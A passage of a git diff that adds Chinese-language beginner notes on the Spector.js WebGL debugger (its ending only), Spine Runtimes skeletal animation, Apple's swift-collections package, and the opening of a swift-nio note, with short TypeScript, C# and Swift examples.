npm 包能抓 WebGPU command buffer;以 README 与 release note 为准 +- **生产环境**:`displayUI()` / `spyCanvases()` 应只在 development 启用,避免用户侧性能与安全问题 +- **Worker 自动注入**:跨域 Worker、CSP、`type: 'module'` Worker 可能失败,优先手动 bridge + +## 小结 + +| 要点 | 一句话 | +|------|--------| +| 定位 | WebGL 帧级「命令录像 + 状态回放」 | +| 核心 API | `displayUI`、`captureCanvas`、`startCapture`、`spyCanvases`、`spyWorker` | +| 最佳入口 | 浏览器扩展调陌生页;npm 嵌入调自己的 demo | +| 进阶 | `__SPECTOR_Metadata` 命名资源;Marker 切分 render pass | +| 生态 | Babylon.js 同源;与引擎 Inspector 互补 | + +零基础记住:**画面不对时,用 Spector 抓一帧,从最后一条 draw call 往前查「哪一步开始错」**——比盲目 `console.log` uniform 快一个数量级。 + +## 延伸阅读 + +- 仓库 README 与 [API 文档](https://github.com/BabylonJS/Spector.js/blob/master/documentation/apis.md) +- [扩展使用说明](https://github.com/BabylonJS/Spector.js/blob/master/documentation/extension.md) +- 同目录:[regl](/docs/projects/regl)、[glslCanvas](/docs/projects/glsl-canvas)、[PlayCanvas](/docs/projects/playcanvas) — 被调试的常见 WebGL 运行时 diff --git a/src/content/docs/projects/spine-runtimes.md b/src/content/docs/projects/spine-runtimes.md new file mode 100644 index 000000000..59f250cfa --- /dev/null +++ b/src/content/docs/projects/spine-runtimes.md @@ -0,0 +1,268 @@ +--- +title: Spine Runtimes — 2D 骨骼动画运行时 +来源: 'https://github.com/EsotericSoftware/spine-runtimes' +日期: 2026-06-13 +分类: 图形学 +子分类: 渲染与图形 +provenance: pipeline-v3 +难度: 初级 +--- + +## 日常类比:Spine Runtimes 是「木偶戏的提线师」 + +在 Spine 编辑器里,美术像搭木偶:头、躯干、四肢是**骨头**,贴图是**皮肤**,走路、跳跃是**动作剧本**。导出后得到 JSON(或二进制)和图集——相当于把木偶和剧本装进箱子。 + +**Spine Runtimes** 就是游戏引擎里的**提线师**:读箱子里的数据,每帧按剧本拉动骨头,把贴图画到屏幕上。你不用在代码里逐帧摆坐标,而是说「播 walk」「接 jump」「上半身举枪、下半身继续走」。 + +和「导出成一张张精灵图 GIF」不同,骨骼动画只占一份贴图 + 骨骼变换,内存小、可混色、可换装、可程序化改姿势(比如枪口始终瞄准鼠标)。 + +| 维度 | 数据 | +|---|---| +| GitHub | [EsotericSoftware/spine-runtimes](https://github.com/EsotericSoftware/spine-runtimes) | +| 官方文档 | [Spine Runtimes Guide](http://esotericsoftware.com/spine-runtimes-guide) | +| 默认分支 | `4.2`(须与 Spine 编辑器导出版本一致) | +| 协议 | Spine Runtimes License(集成免费评估;商业分发需留意授权) | +| 语言覆盖 | C++、C#、Java、TypeScript、Haxe、Dart、Swift 等 | +| 引擎集成 | Unity、Unreal、Godot、libGDX、Phaser、PixiJS、Three.js、Flutter 等 | + +--- + +## 是什么 + +[Spine Runtimes](https://github.com/EsotericSoftware/spine-runtimes) 是 Esoteric Software 维护的**官方运行时库集合**,用来在各类游戏引擎和框架中加载、播放、混合 [Spine](http://esotericsoftware.com/) 导出的 2D 骨骼动画。 + +工作流分三段: + +1. **Spine 编辑器** — 美术绑骨、K 帧、做 Skin 换装、设动画混合时间 +2. **导出资源** — `skeleton.json`(或 `.skel` 二进制)+ `name.atlas` + 若干 `.png` 图集页 +3. **Runtime** — 在游戏循环里 `load → update → apply → render` + +仓库按语言/引擎拆目录,例如 `spine-csharp/`、`spine-ts/`、`spine-unity/`、`spine-godot/`、`spine-libgdx/`。`spine-libgdx`(Java)是**参考实现**,编辑器里的行为以它为准,其他语言多为移植。 + +--- + +## 为什么重要 + +不了解 Spine Runtimes,下面几件事很难讲清楚: + +- 为什么同一套角色动画能同时跑在 Unity、Godot、H5 小游戏里——**数据格式统一**,只差各引擎的渲染胶水层 +- 为什么「walk 切 jump」可以 0.2 秒淡入淡出而不是硬切——`AnimationState` + `AnimationStateData.setMix()` +- 为什么骨骼动画比逐帧大图省内存——贴图只上传一次,每帧只改矩阵,不重复存 30 张全身图 +- 为什么 Runtime 版本必须和编辑器版本对齐——`4.2.xx` 导出的 JSON 字段和 `3.8` 运行时解析器对不上会直接崩 + +--- + +## 核心概念 + +### 1. 数据层:SkeletonData — 只读的「角色蓝图」 + +`SkeletonData` 从 JSON/二进制解析而来,包含骨骼层级、插槽、附件、皮肤、动画定义。**可共享**:一百个敌人可以共用一份 `SkeletonData`,各自实例化 `Skeleton`。 + +加载典型路径(伪代码,各语言类名一致): + +``` +Atlas atlas = load("hero.atlas") +SkeletonJson json = new SkeletonJson(atlas) +SkeletonData data = json.readSkeletonData("hero.json") +Skeleton skeleton = new Skeleton(data) +``` + +### 2. 骨骼 Bone — 层次变换节点 + +Bone 组成父子树:父骨旋转,子骨跟着动。每个 Bone 有 local 变换(位置、旋转、缩放);渲染前需 `skeleton.updateWorldTransform()` 算出 world 矩阵。类比:木偶的肩关节转 30°,整条胳膊跟着转。 + +### 3. 插槽 Slot 与附件 Attachment + +**Slot** 是骨上的「挂钩」,决定画什么、画多深(draw order)。**Attachment** 是挂上去的物件:最常见 `RegionAttachment`(矩形贴图),还有 `MeshAttachment`(变形网格)、`BoundingBoxAttachment`(碰撞框)等。换 Skin 本质是换同一 Slot 上绑定的 Attachment 集合。 + +### 4. Skin — 换装表 + +`Skin` 记录「插槽名 → 附件」映射。运行时 `skeleton.setSkin("armor-heavy")` 再 `setSlotsToSetupPose()` 即可换装,无需重新导出动画。 + +### 5. Animation 与 Timeline — 最低层 API + +`Animation` 由多条 `Timeline` 组成,每条 Timeline 改一种属性(某骨的旋转、某 Slot 的颜色等)。直接 `animation.apply(skeleton, lastTime, time, loop, ...)` 可以精确控制,但要自己管时间状态。**大多数项目用更上层的 AnimationState。** + +### 6. AnimationState — 日常播放的核心 + +`AnimationState` 负责: + +- 多轨道(track)叠加:track 0 走路,track 1 挥手,高轨道覆盖低轨道同名属性 +- 队列:`addAnimation` 在当前动画结束后播下一个 +- 混合(crossfade):`AnimationStateData.setMix("walk", "jump", 0.2)` + +**每帧固定三步**(官方文档反复强调): + +``` +state.update(delta) // 推进时间 +state.apply(skeleton) // 把动画姿势写到骨骼 +skeleton.updateWorldTransform() // 算世界矩阵 + 约束 +render(skeleton) // 引擎相关:画三角形 +``` + +漏掉 `update()` 再 `apply()` 可能重复触发监听器导致栈溢出;漏掉 `updateWorldTransform()` 则画面停在 setup pose 或局部错乱。 + +### 7. Atlas 图集 — 贴图打包 + +运行时通过 `.atlas` 文件知道每个附件在 PNG 大图中的 UV 区域。换图集页 = 额外 GPU bind,所以打包时尽量合并页数。`AtlasAttachmentLoader` 根据附件名查 region,是 JSON 加载的标配搭档。 + +### 8. spine-ts 模块分层(Web 方向) + +TypeScript 生态拆得很细(见 `spine-ts/README.md`): + +| 模块 | 用途 | +|------|------| +| `spine-core` | 解析、骨骼、AnimationState,无渲染 | +| `spine-webgl` / `spine-canvas` | 自带渲染后端 | +| `spine-player` | 网页嵌入播放器,最适合展示页 | +| `spine-phaser-v3/v4`、`spine-pixi-v7/v8` | 挂到具体游戏框架 | + +npm 包名均在 `@esotericsoftware` scope 下,版本号与 Spine 编辑器主版本对齐(如 `4.2.*`)。 + +--- + +## 代码示例一:AnimationState 走路 / 跳跃(TypeScript 风格) + +下面示例展示加载后的**游戏循环内核**,与官方 [Using Spine Runtimes](http://esotericsoftware.com/spine-using-runtimes/) 伪代码一致,可直接迁到 `spine-ts` 或 `spine-csharp`: + +```typescript +import * as spine from '@esotericsoftware/spine-core'; + +// 1. 加载(初始化阶段做一次) +const atlas = new spine.TextureAtlas(atlasText, (path) => loadTexture(path)); +const attachmentLoader = new spine.AtlasAttachmentLoader(atlas); +const json = new spine.SkeletonJson(attachmentLoader); +const skeletonData = json.readSkeletonData(jsonText); + +const skeleton = new spine.Skeleton(skeletonData); +skeleton.setSkinByName('default'); +skeleton.setSlotsToSetupPose(); + +const stateData = new spine.AnimationStateData(skeletonData); +stateData.setMix('walk', 'jump', 0.2); +stateData.setMix('jump', 'walk', 0.4); + +const state = new spine.AnimationState(stateData); +state.setAnimation(0, 'walk', true); // track 0 循环走路 + +// 2. 每帧(requestAnimationFrame 或引擎 update) +function frame(deltaSeconds: number) { + state.update(deltaSeconds); + state.apply(skeleton); + skeleton.updateWorldTransform(spine.Physics.update); + + // 3. 交给 spine-webgl / Unity / Godot 的 renderer 绘制 + renderer.draw(skeleton); + + if (input.justPressed('Space')) { + state.setAnimation(0, 'jump', false); + state.addAnimation(0, 'walk', true, 0); // 跳完自动回走路 + } +} +``` + +要点: + +- `setMix` 在 `AnimationStateData` 上配置,而不是单个动画上 +- `addAnimation` 第四个参数 `delay`:≤0 表示「接在上一个动画时长之后」 +- 输入检测应放在 `apply` 之后或之前均可,但**渲染必须在 `updateWorldTransform` 之后** + +--- + +## 代码示例二:多轨道分层 + 程序化改骨(C# / Unity 通用逻辑) + +上半身举枪、下半身继续跑,是 Spine 在动作游戏里的经典用法:track 0 管腿,track 1 管上身。必要时在 `apply` 之后手动改 bone,再第二次 `updateWorldTransform`: + +```csharp +// 初始化 +var state = new AnimationState(stateData); +state.SetAnimation(0, "run", true); // 下身/全身基础 +state.SetAnimation(1, "aim-upper", true); // 上身瞄准,覆盖同属性 + +// 每帧 +state.Update(deltaTime); +state.Apply(skeleton); + +// 程序化:让武器骨朝向鼠标(在 apply 之后、最终 updateWorldTransform 之前) +Bone weapon = skeleton.FindBone("weapon"); +if (weapon != null) { + float angle = Mathf.Atan2(mouseY - weapon.WorldY, mouseX - weapon.WorldX) * Mathf.Rad2Deg; + weapon.Rotation = angle; +} + +skeleton.UpdateWorldTransform(Skeleton.Physics.Update); +skeletonRenderer.LateUpdate(); // Unity 组件里触发网格提交 +``` + +若需要先读动画算出的 world 旋转再叠加修正,可调用两次 `UpdateWorldTransform`:第一次在 `apply` 后读 world 矩阵,改 local 后再调一次。官方 [Runtime Skeletons](http://esotericsoftware.com/spine-runtime-skeletons) 文档有图解。 + +--- + +## 导出与版本对齐清单 + +从 Spine 编辑器 **Export** 时通常得到: + +| 文件 | 内容 | +|------|------| +| `hero.json` 或 `hero.skel` | 骨骼、动画、皮肤、约束 | +| `hero.atlas` | 各附件在图集上的位置、旋转、留白剥离信息 | +| `hero.png`(可多页) | 实际贴图 | + +实践建议: + +1. **编辑器版本 = Runtime 分支**,例如都用 `4.2.xx` +2. 生产环境优先 **二进制 `.skel`**,体积小、解析快 +3. 把 `SkeletonData` 当**不可变资源**缓存,角色实例只建 `Skeleton` + `AnimationState` +4. 集成 Unity 时,`spine-unity` 基于 `spine-csharp`,可用 UPM 从 Git 按 path 引入 +5. 分发给**最终玩家**的商业游戏需遵守 [Spine 授权](https://esotericsoftware.com/spine-purchase);做 SDK/中间件时要告知下游用户也需授权 + +--- + +## 与「精灵图动画」的对比 + +| 维度 | Spine 骨骼 + Runtime | 传统序列帧 | +|------|---------------------|------------| +| 磁盘 / 内存 | 一份图集 + 骨骼数据 | 每帧一张图,体积线性涨 | +| 动画混合 | `AnimationState` 内置 crossfade | 需手写或额外工具 | +| 运行时换装 | 换 Skin | 通常要另导出多套图 | +| 程序化 | 可改 Bone 后再渲染 | 只能换帧 | +| 集成成本 | 需接 Runtime + 授权 | 任意引擎 `drawImage` 即可 | + +--- + +## 学习路径(零基础) + +1. 读 [Spine Runtimes Guide](http://esotericsoftware.com/spine-runtimes-guide) 的 Loading / Applying Animations / Runtime Skeletons 三章 +2. 在 GitHub 打开自己引擎目录下的 `README.md`(如 `spine-unity`、`spine-godot`、`spine-ts`) +3. 跑官方示例:`spine-ts` 里 `npm install && npm run dev`,浏览器打开 `http://127.0.0.1:8080` +4. 用 [Spine Examples](https://esotericsoftware.com/spine-examples) 里的 `spineboy` 资源练手导出 +5. 实现最小循环:`load → setAnimation → update/apply/updateWorldTransform → draw`,再加 `setMix` 和第二轨道 + +--- + +## 常见坑 + +- **版本不匹配**:JSON 里多了新字段,旧 Runtime 解析失败 — 升级 Runtime 或重新用对应版本编辑器导出 +- **忘记 `updateWorldTransform`**:画面不跟动画走,或约束(IK、Path)不生效 +- **Atlas 路径错**:`.atlas` 里写的 PNG 相对路径与打包目录不一致,附件全白 +- **缩放忘了**:`SkeletonJson.setScale(0.5)` 影响坐标系,2D 像素游戏要统一编辑器与运行时 scale +- **Canvas 后端限制**:`spine-canvas` 不支持 mesh、裁剪等高级特性,复杂角色用 `spine-webgl` +- **一帧多次 `apply` 不调 `update`**:监听器死循环,官方文档明确警告 + +--- + +## 和本仓库其他笔记的关系 + +- 做 **H5 2D 游戏**时可与 [Phaser](/docs/projects/phaser) 对照:`spine-phaser-v4` 把上述循环接到 Phaser Scene 的 `update` +- 做 **Godot** 项目可看 [godot](/docs/projects/godot) + `spine-godot` 运行时 +- 若只需要网页展示动画、不做完整游戏,优先 `spine-player`,比手写 WebGL 胶水省时间 + +--- + +## 小结 + +Spine Runtimes 不是又一个动画编辑器,而是把 Spine 导出的**骨骼数据**翻译成各引擎能画的**姿势 + 贴图 UV** 的跨平台库。记住一条主线即可: + +**`AnimationState.update → apply → Skeleton.updateWorldTransform → 引擎绘制`** + +掌握 `SkeletonData` / `Skeleton` / `AnimationState` 三件套,再查对应引擎的 Renderer 封装,就能从零把 Spine 角色跑进自己的项目。 diff --git a/src/content/docs/projects/swift-collections.md b/src/content/docs/projects/swift-collections.md new file mode 100644 index 000000000..5aa06a629 --- /dev/null +++ b/src/content/docs/projects/swift-collections.md @@ -0,0 +1,278 @@ +--- +title: swift-collections — Apple 官方 Swift 数据结构补充包 +来源: https://github.com/apple/swift-collections +日期: 2026-06-13 +分类: 后端 API +子分类: 移动端 +provenance: pipeline-v3 +--- + +## 是什么 + +**swift-collections** 是 Apple 开源的 Swift Package,在标准库 `Array`、`Set`、`Dictionary` 之外,提供一批**生产级**、**值语义**、**带完整文档与基准测试**的数据结构实现。仓库地址:[apple/swift-collections](https://github.com/apple/swift-collections),Apache-2.0 协议,当前稳定版约 1.4.x,要求 Swift 6.0+。 + +日常类比: + +- 标准库的 `Array` / `Set` / `Dictionary` 像宜家**三件套基础家具**——家家都有,够用,但款式固定。 +- **swift-collections** 像同一品牌的**扩展配件柜**:双头进出的「传送带队列」、按插入顺序排队的「有序名单」、专门存 0/1 的「密实开关墙」、能随时取最小/最大值的「优先级转盘」——都是和基础款**同一设计语言**(`Collection` 协议、值类型、Copy-on-Write),但针对特定场景把性能或语义打磨得更顺手。 + +最小接入方式(Swift Package Manager): + +```swift +// Package.swift +dependencies: [ + .package(url: "https://github.com/apple/swift-collections.git", from: "1.4.0"), +], +targets: [ + .target(name: "MyApp", dependencies: [ + .product(name: "Collections", package: "swift-collections"), + ]), +] +``` + +应用代码里通常一行导入常用类型: + +```swift +import Collections // Deque, OrderedSet, OrderedDictionary, Heap, BitSet, BitArray … +``` + +## 为什么重要 + +零基础学 Swift / iOS / 服务端([[vapor]]、[[swift-nio]])时,迟早会遇到标准库「差一点」的场景: + +| 痛点 | 标准库行为 | swift-collections 的补位 | +|------|------------|---------------------------| +| 队列:两端频繁插入删除 | `Array` 在**头部**插入要整体挪动,O(n) | `Deque` 环形缓冲区,两端摊还 O(1) | +| 需要唯一元素,又要**保持插入顺序** | `Set` 无序;`Array` 去重慢 | `OrderedSet`:唯一 + 有序 + O(1) 成员检测 | +| 字典要**稳定遍历顺序**(配置、表单、LRU 键列表) | `Dictionary` 顺序未定义 | `OrderedDictionary`:键值对按插入顺序排列 | +| 大量 `Set` 或 `Array` | 每个元素占完整机器字,浪费 | `BitSet` / `BitArray` 按位打包 | +| 优先级队列、定时器、Top-K | 手写堆或引入第三方 | `Heap`:min-max 堆,O(1) 取极值 | + +它是 Apple 自家维护、与 Swift 语言演进同步的库,被 Swift 标准库团队用作**新容器设计的试验田**;许多 API 风格会反哺未来 Swift 标准库。学它等于学「Swift 官方认可的容器写法」。 + +## 包结构与模块 + +不必一次学完所有模块。按用途记下面这张表即可: + +| 模块 | 主要类型 | 一句话 | +|------|----------|--------| +| `Collections` | 聚合导出 | 日常开发**只 import 这个** | +| `DequeModule` | `Deque` | 双端队列 | +| `OrderedCollections` | `OrderedSet`, `OrderedDictionary` | 保序集合/字典 | +| `BitCollections` | `BitSet`, `BitArray` | 紧凑位图 | +| `HeapModule` | `Heap` | 优先级队列(min-max 堆) | +| `HashTreeCollections` | `TreeSet`, `TreeDictionary` | 持久化/共享友好的哈希树(较新) | +| `BasicContainers` | `UniqueArray` 等 | 底层/进阶容器原语 | + +此外还有带 `Unstable*` trait 的实验特性(排序容器预览等),生产环境先用**稳定**模块即可。 + +## 核心概念 + +### 1. 值语义与 Copy-on-Write(COW) + +与 `Array` 一样,`Deque`、`OrderedSet` 等默认是**结构体 + 值语义**:赋值产生逻辑副本,但底层存储在「只读共享」时可延迟复制。修改其中一个副本时才真正拷贝缓冲区。多线程下仍要注意:两个线程同时写**同一个**变量需要同步;各自持有副本则互不影响。 + +### 2. Deque — 双端队列(环形缓冲区) + +`Deque`(读作 "deck")实现**两端高效**插入与删除。内部是**环形数组**:逻辑上的「队头」可以在物理数组任意位置,避免 `Array.insert(at: 0, …)` 时全体元素平移。 + +- 接口接近 `Array`:下标、`append`、`remove(at:)`、`RandomAccessCollection` +- 额外强调队头操作:`prepend`、`popFirst`、`prepend(contentsOf:)` +- **头部**插入/删除:Deque 远快于 Array;**随机下标读**:两者接近,Array 有时略胜 +- 不暴露稳定 `capacity`(与 `Array` 不同),容量是实现细节 + +典型场景:BFS 队列、撤销栈+重做栈、滑动窗口、任何「两头动、中间少动」的缓冲。 + +### 3. OrderedSet — 唯一 + 插入顺序 + +`OrderedSet` 同时提供: + +- 像 `Set`:`contains` 均摊 O(1) +- 像 `Array`:按插入顺序遍历、下标访问、`elements` 导出为 `Array` + +实现上:**一个 `Array` 存元素 + 一张哈希表存「元素 → 数组下标」**。因此: + +- 在**尾部**增删:接近 O(1) +- 在**中间/头部**增删:要挪动数组并更新哈希表,O(n)——与 `Array` 类似,**不像** `Set` 那样任意位置都是 O(1) + +适合:标签列表、去重且保序的 ID 流、需要 `OrderedSet` 当 `Array` 用但又怕重复键的业务。 + +### 4. OrderedDictionary — 保序键值对 + +`OrderedDictionary` 在 `Dictionary` 的哈希查找能力上,**保证键值对按插入顺序排列**,并支持按整数下标随机访问(通过 `values` 集合或专用视图)。 + +注意:为避免「下标到底是 key 还是 index」的歧义,它**不直接** conform `Collection`,而是提供 `elements` 等视图做随机访问。 + +`keys` 视图类型是 `OrderedSet`;`values` 是可变的随机访问集合。实现 = `OrderedSet` 管键顺序 + `Array` 平行存值。 + +适合:JSON 式配置(顺序有意义)、表单字段、按插入顺序展示的缓存键列表。 + +### 5. BitSet / BitArray — 位压缩 + +- `BitSet`:非负 `Int` 集合的紧凑表示,类似 `Set` 但省内存 +- `BitArray`:类似 `[Bool]`,每位一个布尔,适合大规模标志位、布隆过滤器底层、位图索引 + +当元素本质是「整数 ID 或 0/1」且规模大时,优先考虑。 + +### 6. Heap — min-max 优先级队列 + +`Heap` 基于**数组实现的 min-max 堆**(Atkinson et al. 1986): + +| 操作 | 复杂度 | +|------|--------| +| `min` / `max` | O(1) | +| `insert` | O(log n) | +| `popMin` / `popMax` | O(log n) | + +同一结构里既能快速取**最小**也能取**最大**,适合事件调度、合并 K 路有序流、需要偶尔 peek 两端的算法。`Heap` 本身不是 `Sequence`,避免「遍历顺序」语义混乱;需要无序扫一遍可用 `unordered` 视图。 + +## 代码示例 + +### 示例 1:用 Deque 实现浏览历史(后退 / 前进) + +```swift +import Collections + +struct BrowserHistory { + private var back: Deque = [] + private var forward: Deque = [] + + mutating func visit(_ url: URL) { + back.append(url) + forward.removeAll() // 新访问清空前进栈 + } + + mutating func goBack() -> URL? { + guard back.count > 1 else { return nil } + let current = back.removeLast() + forward.append(current) + return back.last + } + + mutating func goForward() -> URL? { + guard let next = forward.popLast() else { return nil } + back.append(next) + return next + } +} +``` + +若在 `Array` 上频繁 `removeFirst()` / `insert(..., at: 0)`,每次 O(n);`Deque` 在两端操作是摊还常数时间,滑动窗口和 BFS 同理。 + +### 示例 2:OrderedDictionary 保持配置项顺序 + +```swift +import Collections + +var settings: OrderedDictionary = [ + "theme": "dark", + "language": "zh-Hans", + "fontSize": "16", +] + +// 哈希查找仍然 O(1) +if settings["theme"] == "dark" { + settings["accent"] = "blue" // 新键追加在末尾 +} + +// 按插入顺序导出给 UI 列表 +for (key, value) in settings { + print("\(key) = \(value)") +} +// theme → language → fontSize → accent + +// 需要纯数组 API 时 +let keys: OrderedSet = settings.keys +let values: [String] = Array(settings.values) +``` + +若用 `Dictionary`,`for (k, v) in dict` 的顺序**不保证**跨运行一致;做「设置页」「manifest」类 UI 时,`OrderedDictionary` 省掉自己维护 `keys: [String]` 的胶水代码。 + +### 示例 3:Heap 驱动简易任务调度 + +```swift +import Collections + +struct Task: Comparable { + let deadline: Date + let name: String + static func < (lhs: Task, rhs: Task) -> Bool { lhs.deadline < rhs.deadline } +} + +var queue = Heap([ + Task(deadline: .now + 60, name: "backup"), + Task(deadline: .now + 5, name: "ping"), + Task(deadline: .now + 30, name: "sync"), +]) + +while let urgent = queue.popMin() { + run(urgent) +} +// 总是先执行 deadline 最早的任务 +``` + +`popMin` 与 `popMax` 让你在同一堆里兼顾「下一个最早」和「下一个最晚」,比手写 `Array` 排序或维护两个堆更省事。 + +## 与标准库怎么选 + +```text +需要唯一? ──否──► Array / Deque + │ + 是 + │ +需要稳定顺序? ──否──► Set / Dictionary + │ + 是 + │ +OrderedSet / OrderedDictionary + +两端频繁增删? ──是──► Deque(而不是 Array) + +只要优先级? ──是──► Heap + +元素是 Int 集合或 Bool 向量且很密? ──是──► BitSet / BitArray +``` + +经验法则:**没有测量就不要过早优化**;先用 `Array` + `Dictionary` 写对逻辑,Profiler 显示热点在容器操作上,再换成 swift-collections 里对应类型。 + +## 性能与测试文化 + +仓库自带 **swift-collections-benchmark** 目标,用可复现图表对比 `Array`/`Set`/`Deque` 等在各操作上的吞吐。文档里常见「在 M 系列 MacBook 上 Release 构建测得」一类说明——含义是:**性能特征受实现版本影响**,升级 minor 版本后若容器在热路径上,值得重跑基准。 + +复杂度上记住几条就够: + +- `Deque`:两端 `append`/`pop` 摊还 O(1);中间插入 O(n) +- `OrderedSet` / `OrderedDictionary`:尾部增删 O(1) 级;中间增删 O(n);`contains` 均摊 O(1) +- `Heap`:见上表 +- `BitSet`:位运算友好的成员与集合操作,具体常数因子看稀疏/稠密 + +## 常见误区 + +1. **把 OrderedSet 当成「任意位置 O(1) 的 Set」** — 中间插入仍贵,和数组类似。 +2. **以为 OrderedDictionary 下标可以用 Int 直接取键** — 键下标是 `Key`;按下标访问要用文档里的 `elements` 等视图,避免与 `Dictionary` 习惯混淆。 +3. **在 Deque 上假设连续内存** — 环形缓冲可能两段不连续,与 `Array.withUnsafeBufferPointer` 一类优化交互时要读文档。 +4. **忽略模块粒度** — 只想用 `Deque` 时可 `import DequeModule` 减少编译依赖;应用层 `import Collections` 最省心。 + +## 生态与相关项目 + +- **服务端**:[[vapor]]、[[swift-nio]] 生态里的中间件、连接池、缓冲队列常借 Deque 做无锁单线程缓冲。 +- **客户端**:列表差分、撤销栈、播放队列(「上一首 / 下一首」)是 Deque 主场。 +- **跨语言 CRDT**:[[automerge]] 等有 Swift 绑定;本地优先应用里 Ordered* 类型常和「稳定序列化顺序」一起出现。 +- **标准库未来**:swift-collections 中成熟的 API 有机会进入 Swift 标准库;早学可减少日后迁移摩擦。 + +## 学习路径建议 + +1. **第一天**:`import Collections`,用 `Deque` 替换一个 `Array` 队列,用 `OrderedDictionary` 做一个有序设置页。 +2. **第二天**:读官方 [Deque](https://github.com/apple/swift-collections/blob/main/Documentation/Deque.md)、[OrderedSet](https://github.com/apple/swift-collections/blob/main/Documentation/OrderedSet.md) 文档里的复杂度说明。 +3. **第三天**:在热路径用 Instruments 或 benchmark 对比 `Array` vs `Deque`;若做调度器,实现一版 `Heap` 定时器。 +4. **进阶**:按需阅读 `HashTreeCollections`(持久化共享)、`BasicContainers`(`UniqueArray` 等非拷贝容器方向)。 + +## 小结 + +swift-collections 不是替代标准库,而是 Apple 提供的**官方扩展工具箱**:在保持 Swift 值类型与协议一致的前提下,补齐**双端队列、保序集合/字典、位图、堆**等缺口。零基础记住三句话即可上手: + +1. 两头动的队列用 **Deque**。 +2. 要唯一或键值对且**顺序有意义**用 **OrderedSet / OrderedDictionary**。 +3. 要反复取最小/最大用 **Heap**。 + +仓库文档齐全、带基准测试,适合作为学习 Swift 集合抽象与工程化容器实现的第一站。 diff --git a/src/content/docs/projects/swift-nio.md b/src/content/docs/projects/swift-nio.md new file mode 100644 index 000000000..a7590576c --- /dev/null +++ b/src/content/docs/projects/swift-nio.md @@ -0,0 +1,324 @@ +--- +title: swift-nio — Apple 异步事件驱动网络框架 +来源: https://github.com/apple/swift-nio +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +**swift-nio**(SwiftNIO)是 Apple 开源的**跨平台、事件驱动、非阻塞 I/O** 网络框架,用来快速搭建高性能协议服务器与客户端。仓库地址:[apple/swift-nio](https://github.com/apple/swift-nio),Apache-2.0 协议,SSWG **Graduated** 级别项目,GitHub 约 8k+ star。官方一句话:**「It's like Netty, but written for Swift.」** + +日常类比: + +- 传统「一个连接一个线程」的服务器,像一家餐厅**每个顾客配一名专属服务员**——顾客少时还行,上千人同时等菜时,服务员(线程)数量爆炸,光换人交接就忙不过来。 +- SwiftNIO 像一家**中央调度的大堂**:少数几个熟练工(EventLoop / 线程)在吧台后轮转,谁点的菜好了、谁要结账,内核通过 `epoll` / `kqueue` 通知调度台,调度台把活派给对应的「桌号」(Channel)。**一个工人可以同时照看多桌**,不会因为新来一桌就新雇一个人。 + +因此 SwiftNIO 特别适合:**连接多、但每个连接并不一直满载**的场景——HTTP API、WebSocket、代理、数据库协议客户端等。上层框架 [[vapor]]、AsyncHTTPClient、gRPC-Swift、PostgresNIO 等,底层 I/O 往往都建在 SwiftNIO 之上。 + +最小依赖(Swift Package Manager): + +```swift +// Package.swift +dependencies: [ + .package(url: "https://github.com/apple/swift-nio.git", from: "2.80.0"), +], +targets: [ + .executableTarget(name: "MyServer", dependencies: [ + .product(name: "NIOPosix", package: "swift-nio"), + .product(name: "NIOCore", package: "swift-nio"), + ]), +] +``` + +日常开发也可以直接 `import NIO`(伞模块,导出 Core + Posix + Embedded)。 + +## 为什么重要 + +零基础学 Swift 服务端时,理解 SwiftNIO 能帮你回答这些问题: + +| 问题 | SwiftNIO 提供的答案 | +|------|---------------------| +| 为什么不用「每连接一线程」? | 线程栈与上下文切换成本高;SwiftNIO 用少量 EventLoop multiplex 成千上万连接 | +| 数据在内存里怎么表示? | `ByteBuffer`:Copy-on-Write 字节缓冲,避免频繁分配 | +| 协议解析和业务逻辑放哪? | `ChannelPipeline` + `ChannelHandler`:像流水线工位,入站/出站分开处理 | +| 异步结果怎么组合? | `EventLoopFuture` / `EventLoopPromise`:在**同一个 EventLoop** 上链式调度,避免数据竞争 | +| 和 [[swift-collections]] 什么关系? | 不同层:collections 管数据结构;NIO 管网络事件与 I/O 生命周期 | + +SwiftNIO **不是** Web 框架——它不会帮你路由 URL 或渲染模板。它是**垫在下面的砖**:你要写 HTTP 服务,通常用 Vapor / Hummingbird;要写原始 TCP、自定义协议、或读懂上层库的行为,才需要直接碰 NIO。 + +## 仓库与模块结构 + +主仓库拆成多个 product,按职责记这张表即可: + +| 模块 | 作用 | 谁该 import | +|------|------|-------------| +| `NIOCore` | EventLoop、Channel、Handler、ByteBuffer、Future 等抽象 | 扩展库、协议实现 | +| `NIOPosix` | Linux/macOS 上基于 epoll/kqueue 的高性能实现 | 真正做网络 I/O 的可执行程序 | +| `NIOEmbedded` | 内存里的假 EventLoop/Channel | **单元测试**、不碰网卡的协议调试 | +| `NIOHTTP1` / `NIOWebSocket` | HTTP/1.1、WebSocket **底层**编解码 | 需要裸协议或自定义 pipeline 时 | +| `NIOFoundationCompat` | `ByteBuffer` ↔ `Data` 互转 | 和 Foundation 混用时 | + +TLS、HTTP/2、SSH 等在**独立仓库**(`swift-nio-ssl`、`swift-nio-http2`、`swift-nio-ssh` 等),按需加依赖,不必一次全装。 + +## 核心概念 + +### 1. EventLoop 与 EventLoopGroup + +**EventLoop** 是 SwiftNIO 的心脏:一个**长期运行**的循环,等待 I/O 就绪或已提交的闭包,然后在**同一线程**上执行回调。可以把它想成「专管网络事件的 serial `DispatchQueue`」——保证挂在该 loop 上的 Channel 回调**不需要额外加锁**(只要你不在 handler 里把活丢到别的线程乱写共享状态)。 + +**EventLoopGroup** 是一组 EventLoop。生产环境常用 `MultiThreadedEventLoopGroup(numberOfThreads: System.coreCount)`:每个 CPU 核心一个线程,每个线程一个 `SelectableEventLoop`(内部用 epoll/kqueue 监听文件描述符)。 + +要点: + +- 应用生命周期内 EventLoop 数量通常**很少**(≈ CPU 核数),而不是 ≈ 连接数。 +- 新连接会**绑定**到 group 里某一个 EventLoop(常见 round-robin),该连接生命周期内不换 loop。 +- 跨 EventLoop 传数据要用 `execute` / Future 跳转,不能假设随便哪个线程都能碰 Channel。 + +### 2. Channel — 一条连接的抽象 + +**Channel** 代表一个 I/O 对象(最常见是 TCP socket)。它负责: + +- 管理底层文件描述符生命周期 +- 提供 `read` / `write` / `close` +- 持有 **ChannelPipeline**(处理器链) + +每个 Channel 只属于一个 EventLoop。内核通知「某个 fd 可读」时,EventLoop 会唤醒对应 Channel 的 pipeline。 + +### 3. ChannelPipeline 与 ChannelHandler + +Pipeline 是挂在 Channel 上的**双向链表工位**: + +``` +入站(读): socket → Handler A → Handler B → 你的业务 